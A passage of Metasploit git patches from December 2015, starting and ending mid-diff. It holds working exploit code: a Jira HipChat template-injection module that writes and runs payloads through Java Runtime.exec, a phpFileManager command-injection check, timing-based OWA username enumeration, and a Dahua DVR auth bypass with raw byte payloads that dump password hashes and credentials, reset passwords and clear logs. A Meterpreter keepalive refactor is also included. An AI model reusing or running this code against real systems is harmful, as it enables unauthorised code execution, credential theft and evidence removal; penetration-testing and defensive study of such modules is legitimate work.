get_exec_code(cmd) - %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() | - end - - # Returns a boolean indicating whether the module has a username and password. # # @return [TrueClass] There is an empty cred. @@ -383,13 +429,106 @@ class Metasploit3 < Msf::Exploit::Remote res end + + def target_platform_compat?(target_platform) + target.platform.names.grep(/#{target_platform}|java/i).empty? ? false : true + end + + # Returns the normalized file path for payload. # # @return [String] - def normalize_payload_fname(fname) - Rex::FileUtils.normalize_unix_path(datastore['WriteDir'], fname) + def normalize_payload_fname(tmp_path, fname) + # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. + if /^\/[[:print:]]+/ === tmp_path + Rex::FileUtils.normalize_unix_path(tmp_path, fname) + else + Rex::FileUtils.normalize_win_path(tmp_path, fname) + end end + + def get_tmp_path(cookie) + c = get_temp_path_code + res = inject_template(c, cookie) + json = res.get_json_document + if json['message'] + return json['message'] + end + + '' + end + + def get_java_home_path(cookie) + c = get_java_path_code + res = inject_template(c, cookie) + json = res.get_json_document + json['message'] || '' + end + + + def exploit_as_java(cookie) + tmp_path = get_tmp_path(cookie) + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") + jar = payload.encoded_jar + java_home = get_java_home_path(cookie) + register_files_for_cleanup(jar_fname) + + if java_home.blank? + fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') + else + print_status("Found Java home path: #{java_home}") + end + + print_status("Attempting to write #{jar_fname}") + c = get_write_file_code(jar_fname, jar) + inject_template(c, cookie) + + print_status("Executing #{jar_fname}") + c = get_jar_exec_code(java_home, jar_fname) + inject_template(c, cookie) + end + + + def exploit_as_windows(cookie) + end + + + def exploit_as_linux(cookie) + tmp_path = get_tmp_path(cookie) + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) + new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) + register_files_for_cleanup(fname, new_fname) + + print_status("Attempting to write #{fname}") + p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform) + c = get_write_file_code(fname, p) + inject_template(c, cookie) + + print_status("chmod +x #{fname}") + c = get_exec_code("chmod 777 #{fname}") + inject_template(c, cookie) + + print_status("New file will be #{new_fname}") + c = get_dup_file_code(fname, new_fname) + inject_template(c, cookie) + + print_status("Executing #{new_fname}") + c = get_exec_code(new_fname) + inject_template(c, cookie) + end + + def exploit if jira_cred_empty? fail_with(Failure::BadConfig, 'Jira username and password are required.') @@ -399,29 +538,22 @@ class Metasploit3 < Msf::Exploit::Remote cookie = do_login print_good("Successfully logged in as #{jira_username}") - fname = normalize_payload_fname(Rex::Text.rand_text_alpha(5)) - new_fname = normalize_payload_fname(Rex::Text.rand_text_alpha(6)) - register_files_for_cleanup(fname, new_fname) + target_platform = get_target_platform(cookie) + print_status("Target being detected as: #{target_platform}") - print_status("Attempting to write #{fname}") - p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform) - c = get_write_file_code(fname, p) - inject_template(c, cookie) + unless target_platform_compat?(target_platform) + fail_with(Failure::BadConfig, 'Selected target does not match the target.') + end - print_status("chmod +x #{fname}") - c = get_exec_code("chmod 777 #{fname}") - inject_template(c, cookie) + case target.name + when /java$/i + exploit_as_java(cookie) + when /windows$/i + exploit_as_windows(cookie) + when /linux$/i + exploit_as_linux(cookie) + end - # Unfortunately, it seems very tricky to properly close the file handle due to the way we are injecting code. - # If the file is buys, we won't be able to execute it. A way to work around that is to duplicate the file, - # and the new one should be executable. - print_status("New file will be #{new_fname}") - c = get_dup_file_code(fname, new_fname) - inject_template(c, cookie) - - print_status("Executing #{new_fname}") - c = get_exec_code(new_fname) - inject_template(c, cookie) end def print_status(msg='') From 28ca8999145ad90f0f6d10910e049a5eebcee7b2 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 18:07:25 +0800 Subject: [PATCH 1395/2172] Update phpfilemanager_rce.rb --- .../exploits/multi/http/phpfilemanager_rce.rb | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 8cb16f3566..b5d2779330 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -55,22 +55,14 @@ class Metasploit3 < Msf::Exploit::Remote end def check - cookie = push() txt = Rex::Text.rand_text_alpha(8) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path.to_s), - 'cookie' => cookie, - 'vars_get' => { - 'action' => '6', - 'cmd' => 'echo #{txt}' - } - }) + res = http_send_command("echo #{txt}") - if res and res.body =~ /txt/ + if res and res.body =~ /#{txt}/ return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Safe end def push From 6fa2269764358fc374ef6315895c242eb5013545 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Wed, 2 Dec 2015 14:53:52 -0600 Subject: [PATCH 1396/2172] PacketResponseWaiter - improve yardoc coverage --- .../meterpreter/packet_response_waiter.rb | 35 ++++++++++++++++--- 1 file changed, 31 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb index 42a2b2038c..645d6982eb 100644 --- a/lib/rex/post/meterpreter/packet_response_waiter.rb +++ b/lib/rex/post/meterpreter/packet_response_waiter.rb @@ -15,6 +15,30 @@ module Meterpreter ### class PacketResponseWaiter + # Arbitrary argument to {#completion_routine} + # + # @return [Object,nil] + attr_accessor :completion_param + + # A callback to be called when this waiter is notified of a packet's + # arrival. If not nil, this will be called with the response packet as first + # parameter and {#completion_param} as the second. + # + # @return [Proc,nil] + attr_accessor :completion_routine + + # @return [ConditionVariable] + attr_accessor :cond + + # @return [Mutex] + attr_accessor :mutex + + # @return [Packet] + attr_accessor :response + + # @return [Fixnum] request ID to wait for + attr_accessor :rid + # # Initializes a response waiter instance for the supplied request # identifier. @@ -43,6 +67,8 @@ class PacketResponseWaiter # # Notifies the waiter that the supplied response packet has arrived. # + # @param response [Packet] + # @return [void] def notify(response) if (self.completion_routine) self.response = response @@ -56,9 +82,12 @@ class PacketResponseWaiter end # - # Waits for a given time interval for the response packet to arrive. - # If the interval is -1 we can wait forever. + # Wait for a given time interval for the response packet to arrive. # + # @param interval [Fixnum,nil] number of seconds to wait, or nil to wait + # forever + # @return [Packet,nil] the response, or nil if the interval elapsed before + # receiving one def wait(interval) interval = nil if interval and interval == -1 self.mutex.synchronize do @@ -69,8 +98,6 @@ class PacketResponseWaiter return self.response end - attr_accessor :rid, :mutex, :cond, :response # :nodoc: - attr_accessor :completion_routine, :completion_param # :nodoc: end end; end; end From 762fdbed4032d802686b3b93e8a2146d83d8c21f Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Dec 2015 09:07:34 -0600 Subject: [PATCH 1397/2172] Simplify meterpreter liveness check --- lib/rex/post/meterpreter/client.rb | 1 + lib/rex/post/meterpreter/packet_dispatcher.rb | 179 +++++++++--------- 2 files changed, 86 insertions(+), 94 deletions(-) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index b4d08daf2c..24472fe8bb 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -112,6 +112,7 @@ class Client self.target_id = opts[:target_id] self.capabilities = opts[:capabilities] || {} self.commands = [] + self.last_checkin = Time.now self.conn_id = opts[:conn_id] self.url = opts[:url] diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index cfcd7576fc..db5681c8ce 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -42,23 +42,32 @@ end ### module PacketDispatcher - PacketTimeout = 600 + # Defualt time, in seconds, to wait for a response after sending a packet + PACKET_TIMEOUT = 600 - ## + # Number of seconds to wait without getting any packets before we try to + # send a liveness check. A minute should be generous even on the highest + # latency networks # - # Synchronization - # - ## + # @see #keepalive + PING_TIME = 60 + + # This mutex is used to lock out new commands during an + # active migration. Unused if this is a passive dispatcher attr_accessor :comm_mutex - ## - # - # # Passive Dispatching # - ## - attr_accessor :passive_service, :send_queue, :recv_queue + # @return [Rex::ServiceManager] + # @return [nil] if this is not a passive dispatcher + attr_accessor :passive_service + + # @return [Array] + attr_accessor :send_queue + + # @return [Array] + attr_accessor :recv_queue def initialize_passive_dispatcher self.send_queue = [] @@ -159,9 +168,6 @@ module PacketDispatcher if (raw) - # This mutex is used to lock out new commands during an - # active migration. - self.comm_mutex.synchronize do begin bytes = self.sock.write(raw) @@ -174,9 +180,6 @@ module PacketDispatcher # Mark the session itself as dead self.alive = false - # Indicate that the dispatcher should shut down too - @finish = true - # Reraise the error to the top-level caller raise err if err end @@ -188,15 +191,16 @@ module PacketDispatcher # # Sends a packet and waits for a timeout for the given time interval. # - def send_request(packet, t = self.response_timeout) - if not t - send_packet(packet) + # @param packet [Packet] request to send + # @param timeout [Fixnum,nil] seconds to wait for response, or nil to ignore the + # response and return immediately + # @return (see #send_packet_wait_response) + def send_request(packet, timeout = self.response_timeout) + response = send_packet_wait_response(packet, timeout) + + if timeout.nil? return nil - end - - response = send_packet_wait_response(packet, t) - - if (response == nil) + elsif response.nil? raise TimeoutError.new("Send timed out") elsif (response.result != 0) einfo = lookup_error(response.result) @@ -213,26 +217,58 @@ module PacketDispatcher # # Transmits a packet and waits for a response. # - def send_packet_wait_response(packet, t) + # @param packet [Packet] the request packet to send + # @param timeout [Fixnum,nil] number of seconds to wait, or nil to wait + # forever + def send_packet_wait_response(packet, timeout) # First, add the waiter association for the supplied packet waiter = add_response_waiter(packet) + bytes_written = send_packet(packet) + # Transmit the packet - if (send_packet(packet).to_i <= 0) + if (bytes_written.to_i <= 0) # Remove the waiter if we failed to send the packet. remove_response_waiter(waiter) return nil end + if not timeout + return nil + end + # Wait for the supplied time interval - waiter.wait(t) + response = waiter.wait(timeout) # Remove the waiter from the list of waiters in case it wasn't - # removed + # removed. This happens if the waiter timed out above. remove_response_waiter(waiter) # Return the response packet, if any - return waiter.response + return response + end + + # Send a ping to the server. + # + # Our 'ping' is a check for eof on channel id 0. This method has no side + # effects and always returns an answer (regardless of the existence of chan + # 0), which is all that's needed for a liveness check. The answer itself is + # unimportant and is ignored. + # + # @return [void] + def keepalive + if @ping_sent + if Time.now.to_i - last_checkin.to_i > PING_TIME*2 + dlog("No response to ping, session #{self.sid} is dead", LEV_3) + self.alive = false + end + else + pkt = Packet.create_request('core_channel_eof') + pkt.add_tlv(TLV_TYPE_CHANNEL_ID, 0) + add_response_waiter(pkt, Proc.new { @ping_sent = false }) + send_packet(pkt) + @ping_sent = true + end end ## @@ -254,58 +290,22 @@ module PacketDispatcher self.waiters = [] @pqueue = ::Queue.new - @finish = false - @last_recvd = Time.now @ping_sent = false - self.alive = true - # Spawn a thread for receiving packets self.receiver_thread = Rex::ThreadFactory.spawn("MeterpreterReceiver", false) do while (self.alive) begin - rv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, 0.25) - ping_time = 60 - # If there's nothing to read, and it's been awhile since we - # saw a packet, we need to send a ping. We wait - # ping_time*2 seconds before deciding a session is dead. - if (not rv and self.send_keepalives and Time.now - @last_recvd > ping_time) - # If the queue is empty and we've already sent a - # keepalive without getting a reply, then this - # session is hosed, and we should give up on it. - if @ping_sent and @pqueue.empty? and (Time.now - @last_recvd > ping_time * 2) - dlog("No response to ping, session #{self.sid} is dead", LEV_3) - self.alive = false - @finish = true - break - end - # Let the packet queue processor finish up before - # we send a ping. - if not @ping_sent and @pqueue.empty? - # Our 'ping' is actually just a check for eof on - # channel id 0. This method has no side effects - # and always returns an answer (regardless of the - # existence of chan 0), which is all that's - # needed for a liveness check. The answer itself - # is unimportant and is ignored. - pkt = Packet.create_request('core_channel_eof') - pkt.add_tlv(TLV_TYPE_CHANNEL_ID, 0) - waiter = Proc.new { |response, param| - @ping_sent = false - @last_recvd = Time.now - } - send_packet(pkt, waiter) - @ping_sent = true - end - next + rv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, PING_TIME) + if rv + packet = receive_packet + @pqueue << packet if packet + elsif self.send_keepalives && @pqueue.empty? + keepalive end - next if not rv - packet = receive_packet - @pqueue << packet if packet - @last_recvd = Time.now - rescue ::Exception - dlog("Exception caught in monitor_socket: #{$!}", 'meterpreter', LEV_1) - @finish = true + rescue ::Exception => e + dlog("Exception caught in monitor_socket: #{e.class}: #{e}", 'meterpreter', LEV_1) + dlog("Call stack: #{e.backtrace.join("\n")}", 'meterpreter', LEV_2) self.alive = false break end @@ -315,9 +315,7 @@ module PacketDispatcher # Spawn a new thread that monitors the socket self.dispatcher_thread = Rex::ThreadFactory.spawn("MeterpreterDispatcher", false) do begin - # Whether we're finished or not is determined by the receiver - # thread above. - while(not @finish) + while (self.alive) incomplete = [] backlog = [] @@ -352,7 +350,6 @@ module PacketDispatcher backlog.push(*tmp_channel) backlog.push(*tmp_close) - # # Process the message queue # @@ -363,12 +360,12 @@ module PacketDispatcher if ! dispatch_inbound_packet(pkt) # Keep Packets in the receive queue until a handler is registered # for them. Packets will live in the receive queue for up to - # PacketTimeout, after which they will be dropped. + # PACKET_TIMEOUT seconds, after which they will be dropped. # # A common reason why there would not immediately be a handler for # a received Packet is in channels, where a connection may # open and receive data before anything has asked to read. - if (::Time.now.to_i - pkt.created_at.to_i < PacketTimeout) + if (::Time.now.to_i - pkt.created_at.to_i < PACKET_TIMEOUT) incomplete << pkt end end @@ -493,21 +490,15 @@ module PacketDispatcher # Otherwise, the packet is passed onto any registered dispatch # handlers until one returns success. # - def dispatch_inbound_packet(packet, client = nil) + def dispatch_inbound_packet(packet) handled = false - # If no client context was provided, return self as PacketDispatcher - # is a mixin for the Client instance - if (client == nil) - client = self - end - # Update our last reply time - client.last_checkin = Time.now + self.last_checkin = Time.now # If the packet is a response, try to notify any potential # waiters - if ((resp = packet.response?)) + if packet.response? if (notify_response_waiter(packet)) return true end @@ -520,11 +511,11 @@ module PacketDispatcher handled = nil begin - if ! resp - handled = handler.request_handler(client, packet) - else - handled = handler.response_handler(client, packet) - end + if packet.response? + handled = handler.response_handler(self, packet) + else + handled = handler.request_handler(self, packet) + end rescue ::Exception => e dlog("Exception caught in dispatch_inbound_packet: handler=#{handler} #{e.class} #{e} #{e.backtrace}", 'meterpreter', LEV_1) From db5c69226e35608716b58b9eacd965916f7ca04b Mon Sep 17 00:00:00 2001 From: r3naissance <Chapman.Schleiss@gmail.com> Date: Thu, 3 Dec 2015 09:31:36 -0700 Subject: [PATCH 1398/2172] Add Usernames to Creds Database with owa_login.rb --- modules/auxiliary/scanner/http/owa_login.rb | 73 ++++++++++++++++----- 1 file changed, 58 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index a3a42e02f7..b2393bbd3b 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary 'sinn3r', 'Brandon Knight', 'Pete (Bokojan) Arzamendi', # Outlook 2013 updates - 'Nate Power' # HTTP timing option + 'Nate Power', # HTTP timing option + 'Chapman (R3naissance) Schleiss' # Save username in creds if response is less ], 'License' => MSF_LICENSE, 'Actions' => @@ -225,9 +226,20 @@ class Metasploit3 < Msf::Auxiliary if reason == nil headers['Cookie'] = 'PBack=0;' << res.get_cookies else - # Login didn't work. no point on going on. - vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})") - return :Skip_pass + # Login didn't work. no point in going on, however, check if valid domain account by response time. + if elapsed_time <= 1 + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user + ) + print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS") + return :Skip_pass + else + vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})") + return :Skip_pass + end end else # The authentication info is in the cookies on this response @@ -261,8 +273,19 @@ class Metasploit3 < Msf::Auxiliary end if res.redirect? - vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)") - return :skip_pass + if elapsed_time <= 1 + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user + ) + print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS") + return :Skip_pass + else + vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)") + return :skip_pass + end end if res.body =~ login_check @@ -276,8 +299,19 @@ class Metasploit3 < Msf::Auxiliary ) return :next_user else - vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)") - return :skip_pass + if elapsed_time <= 1 + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user + ) + print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS") + return :Skip_pass + else + vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)") + return :skip_pass + end end end @@ -331,13 +365,22 @@ class Metasploit3 < Msf::Auxiliary workspace_id: myworkspace_id } - credential_data = { - origin_type: :service, - module_fullname: fullname, - username: opts[:user], - private_data: opts[:password], - private_type: :password - }.merge(service_data) + # Test if password was passed, if so, add private_data. If not, assuming only username was found + if opts.has_key?(:password) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + else + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user] + }.merge(service_data) + end login_data = { core: create_credential(credential_data), From aa9969c81a179647e74309f0b1242cd4e752d948 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 3 Dec 2015 11:37:02 -0600 Subject: [PATCH 1399/2172] Add more normalization to temporary directory --- lib/rex/exploitation/cmdstager/bourne.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb index 7c71ccd030..6984c377e5 100644 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ b/lib/rex/exploitation/cmdstager/bourne.rb @@ -18,6 +18,8 @@ class CmdStagerBourne < CmdStagerBase def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/' + opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/') opts[:temp] = opts[:temp].gsub(/'/, "\\\\'") opts[:temp] = opts[:temp].gsub(/ /, "\\ ") if (opts[:file]) From 0d89dde4a63fb85d1d532348428f5957949830c2 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Thu, 3 Dec 2015 12:51:48 -0500 Subject: [PATCH 1400/2172] changed sock.get to sock.get_once and fixed booleans hopefully. Still cleaning things up but its getting closer --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 45 +++++++++++-------- 1 file changed, 26 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index e65f12a57a..e7a4263db9 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -22,15 +22,15 @@ class Metasploit3 < Msf::Auxiliary OptString.new('USERNAME', [true, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']), - OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'TRUE']), - OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'TRUE']), + OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'FALSE']), + OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'FALSE']), OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']), OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']), - OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR','TRUE']), - OptBool.new('USER_INFO', ['false', 'Grabs the Users and hashes of the DVR', 'TRUE']), + OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR', 'FALSE']), + OptBool.new('USER_INFO', ['true', 'Grabs the Users and hashes of the DVR', 'TRUE']), OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']), - OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']), - OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']), + OptBool.new('RESET', [false, %q(Reset an existing user's pw?), 'FALSE']), + OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), 'TRUE']), Opt::RPORT(37777) ]) end @@ -38,24 +38,33 @@ class Metasploit3 < Msf::Auxiliary U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00" + # Payload to grab version of the DVR VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab Email Settings of the DVR EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab DDNS Settings of the DVR DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab NAS Settings of the DVR NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab the Channels that each camera is assigned to on the DVR CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab the Users Groups of the DVR GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab the Users and their hashes from the DVR USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to grab the Serial Number of the DVR SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Payload to clear the logs of the DVR CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ @@ -69,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary def grab_version connect sock.put(VERSION) - data = sock.get(1024) + data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ ver = Regexp.last_match[1] print_status("Version: #{ver} @ #{rhost}:#{rport}!") @@ -78,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary def grab_sn sock.put(SN) - data = sock.get(1024) + data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ serial = Regexp.last_match[1] print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") @@ -88,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary def grab_email connect sock.put(EMAIL) - if data = sock.get(1024).split('&&') + if data = sock.get_once.split('&&') print_status("Email Settings: @ #{rhost}:#{rport}!") if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ if mailhost = Regexp.last_match[1].split(':') @@ -113,7 +122,7 @@ class Metasploit3 < Msf::Auxiliary def grab_ddns connect sock.put(DDNS) - if data = sock.get(1024) + if data = sock.get_once data = data.split(/&&[0-1]&&/) data.each_with_index do |val, index| if index > 0 @@ -142,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary def grab_nas connect sock.put(NAS) - if data = sock.get(1024) + if data = sock.get_once print_status("Nas Settings @ #{rhost}:#{rport}!:") server = '' port = '' @@ -152,9 +161,7 @@ class Metasploit3 < Msf::Auxiliary print_status(" Nas Server #{server}") print_status(" Nas Port: #{port}") end - if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ - ftpuser = Regexp.last_match[1] - ftppass = Regexp.last_match[2] + if data =~ /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ print_good(" FTP User: #{ftpuser}") print_good(" FTP Password: #{ftppass}") if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 @@ -173,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary def grab_channels connect sock.put(CHANNELS) - data = sock.get(1024).split('&&') + data = sock.get_once.split('&&') disconnect if data.length > 1 print_status("Camera Channels @ #{rhost}:#{rport}!:") @@ -185,7 +192,7 @@ class Metasploit3 < Msf::Auxiliary usercount = 0 connect sock.put(USERS) - if data = sock.get(1024).split('&&') + if data = sock.get_once.split('&&') print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 @@ -214,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary def grab_groups connect sock.put(GROUPS) - if data = sock.get(1024).split('&&') + if data = sock.get_once.split('&&') print_status("User Groups: @ #{rhost}:#{rport}!") data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end @@ -231,9 +238,9 @@ class Metasploit3 < Msf::Auxiliary sock.put(u1) sock.put(u2) sock.put(u3) - data = sock.get(1024) + data = sock.get_once sock.put(u1) - if data = sock.get(1024) + if data = sock.get_once print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") end end From f33e63c16f78f990d41bd76677b2a76de754ea3f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 3 Dec 2015 14:02:32 -0600 Subject: [PATCH 1401/2172] Support Win/Linx/Java payloads for Win/Linux platforms --- .../unix/webapp/jira_hipchat_template.rb | 50 +++++++++++++++---- 1 file changed, 41 insertions(+), 9 deletions(-) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb index 2779873e3f..93c883b949 100644 --- a/modules/exploits/unix/webapp/jira_hipchat_template.rb +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote def do_explicit_check begin cookie = do_login - # I don't really care which command to execute, as long as it's a valid one. + # I don't really care which command to execute, as long as it's a valid one for both platforms. # If the command is valid, it should return {"message"=>"0"}. # If the command is not valid, it should return an empty hash. c = get_exec_code('whoami') @@ -382,7 +382,13 @@ class Metasploit3 < Msf::Exploit::Remote # @param new_fname [String] The new file # @return [String] def get_dup_file_code(fname, new_fname) - get_exec_code("cp #{fname} #{new_fname}") + if fname =~ /^\/[[:print:]]+/ + cp_cmd = "cp #{fname} #{new_fname}" + else + cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}" + end + + get_exec_code(cp_cmd) end @@ -431,7 +437,13 @@ class Metasploit3 < Msf::Exploit::Remote def target_platform_compat?(target_platform) - target.platform.names.grep(/#{target_platform}|java/i).empty? ? 